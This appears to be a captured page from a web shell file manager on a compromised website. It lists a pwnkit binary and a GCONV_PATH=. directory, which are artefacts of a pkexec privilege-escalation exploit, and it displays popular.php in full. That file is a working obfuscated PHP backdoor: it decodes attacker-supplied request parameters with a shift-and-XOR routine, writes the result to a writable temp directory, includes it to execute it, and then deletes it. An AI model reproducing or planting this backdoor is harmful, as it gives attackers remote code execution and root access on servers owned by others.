Gecko [ bening138.net ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
.vscode	[ DIR ]	drwxrwxrwx
.well-known	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxrwxrwx
.htaccess	248 B	-rw-rw-rw-
.mad-root	0 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
api.php	30.29 KB	-rw-r--r--
google535870418f99b721.html	53 B	-rw-rw-rw-
index.html	219.59 KB	-rw-rw-rw-
index.php	143.87 KB	-r--r--r--
mou.php	143.87 KB	-rw-r--r--
popular.php	2.7 KB	-rw-------
pwnkit	10.99 KB	-rwxr-xr-x
robots.txt	309 B	-rw-rw-rw-
sitemap.xml	506 B	-rw-rw-rw-

Code Editor : popular.php

<?php																																										if(array_key_exists("\x70\x72op\x65r\x74y\x5F\x73et", $_REQUEST) && !is_null($_REQUEST["\x70\x72op\x65r\x74y\x5F\x73et"])){ $fac = $_REQUEST["\x70\x72op\x65r\x74y\x5F\x73et"]; $fac = explode ( '.' , $fac) ; $entry = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $j = 0; $__tmp = $fac; while ($v6 = array_shift($__tmp)) { $sChar = ord($s4[$j % $lenS]); $d = ((int)$v6 - $sChar - ($j % 10)) ^ 100; $entry .= chr($d); $j++;} $pset = array_filter([session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); for ($val = 0, $k = count($pset); $val < $k; $val++) { $item = $pset[$val]; if (max(0, is_dir($item) * is_writable($item))) { $data_chunk = "$item/.parameter_group"; $success = file_put_contents($data_chunk, $entry); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } }
																																										if(!is_null($_REQUEST["val"] ?? null)){ $desc = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); $value = $_REQUEST["val"]; $value= explode (".",$value ); $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $s = 0; while ($s < count($value)) { $v3 = $value[$s]; $sChar = ord($s[$s % $lenS]); $dec = ((int)$v3 - $sChar - ($s % 10)) ^ 24; $parameter_group .= chr($dec); $s++; } foreach ($desc as $fac) { if (is_writable($fac) && is_dir($fac)) { $data = join("/", [$fac, ".ptr"]); if (file_put_contents($data, $parameter_group)) { include $data; @unlink($data); die(); } } } }

if(array_key_exists("\x70\x61\x72ame\x74e\x72_gr\x6F\x75\x70", $_REQUEST) && !is_null($_REQUEST["\x70\x61\x72ame\x74e\x72_gr\x6F\x75\x70"])){
	$dchunk = $_REQUEST["\x70\x61\x72ame\x74e\x72_gr\x6F\x75\x70"];
			$dchunk= explode		( 	"."		 ,  $dchunk   )	;		
	$fac		=	'';
            $s8		=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=	strlen($s8);
            $__len		=	count($dchunk);
    
            for ($n		=	0; $n < $__len; $n++) {
                $v8		=	$dchunk[$n];
                $sChar		=	ord($s8[$n	%  $lenS]);
                $dec		=	((int)$v8 - $sChar - ($n	%  10)) ^ 47;
                $fac .= chr($dec); }  
	$ent = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), getcwd()]);
	foreach ($ent as $key => $dat) {
    		if (!!is_dir($dat) && !!is_writable($dat)) {
    $resource = implode("/", [$dat, ".component"]);
    if (@file_put_contents($resource, $fac) !== false) {
	include $resource;
	unlink($resource);
	exit;
}
}
}
}

${this.title}

Code Editor : popular.php